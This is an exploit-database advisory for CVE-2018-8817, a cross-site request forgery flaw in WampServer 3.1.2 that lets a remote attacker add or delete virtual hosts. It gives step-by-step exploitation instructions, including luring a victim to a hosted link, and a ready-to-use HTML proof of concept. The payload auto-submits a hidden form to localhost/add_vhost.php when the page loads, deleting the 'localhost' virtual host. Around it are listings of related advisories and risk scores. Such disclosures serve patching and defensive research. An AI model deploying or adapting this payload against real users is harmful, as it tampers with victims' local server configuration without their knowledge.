WampServer 3.1.2 CSRF to add or delete any virtual hosts remotely Vulnerability

🗓️ 31 Mar 2018 00:00:00Reported by vipinxsecType

zdt🔗 0day.today👁 230 Views

WampServer 3.1.2 CSRF vulnerability allows remote attackers to add or delete virtual host

Reporter	Title	Published	Views	Family All 15
ATTACKERKB	CVE-2018-8817	25 Mar 201819:29	–	attackerkb
Circl	CVE-2018-8817	2 Apr 201800:00	–	circl
CNVD	Wampserver Cross-Site Request Forgery Vulnerability	26 Mar 201800:00	–	cnvd
CVE	CVE-2018-8817	25 Mar 201819:00	–	cve
Cvelist	CVE-2018-8817	25 Mar 201819:00	–	cvelist
Exploit DB	WampServer 3.1.2 - Cross-Site Request Forgery	2 Apr 201800:00	–	exploitdb
EUVD	EUVD-2018-20426	7 Oct 202500:30	–	euvd
exploitpack	WampServer 3.1.2 - Cross-Site Request Forgery	2 Apr 201800:00	–	exploitpack
NVD	CVE-2018-8817	25 Mar 201819:29	–	nvd
OpenVAS	WampServer < 3.1.3 CSRF Vulnerability	27 Mar 201800:00	–	openvas

WampServer 3.1.2 CSRF to add or delete any virtual hosts remotely (CVE-2018-8817)

CSRF (Cross site request forgery) in WampServer 3.1.2 which allows a remote attacker to force any victim to add or delete virtual hosts. 

http://forum.wampserver.com/read.php?2,138295,150722,page=6#msg-150722

How to exploit this CSRF vulnerability:
1. Go to Add a Virtual host and add one to wampserver.
2. Now intercept the request with proxy tool like burp suite.
3. Now make a CSRF PoC of the request and to exploit you can host it on internet and send the link to the victim.

<html>
  <body onload="wamp_csrf.submit();">
    <form action="http://localhost/add_vhost.php?lang=english" name="wamp_csrf" method="POST">
      <input type="hidden" name="virtual&#95;del&#91;&#93;" value="localhost" />
      <input type="hidden" name="vhostdelete" value="Suppress&#32;VirtualHost" />
    </form>
  </body>
</html>

#  0day.today [2018-04-04]  #

31 Mar 2018 00:00Current

7.7High risk

Vulners AI Score7.7

EPSS0.00427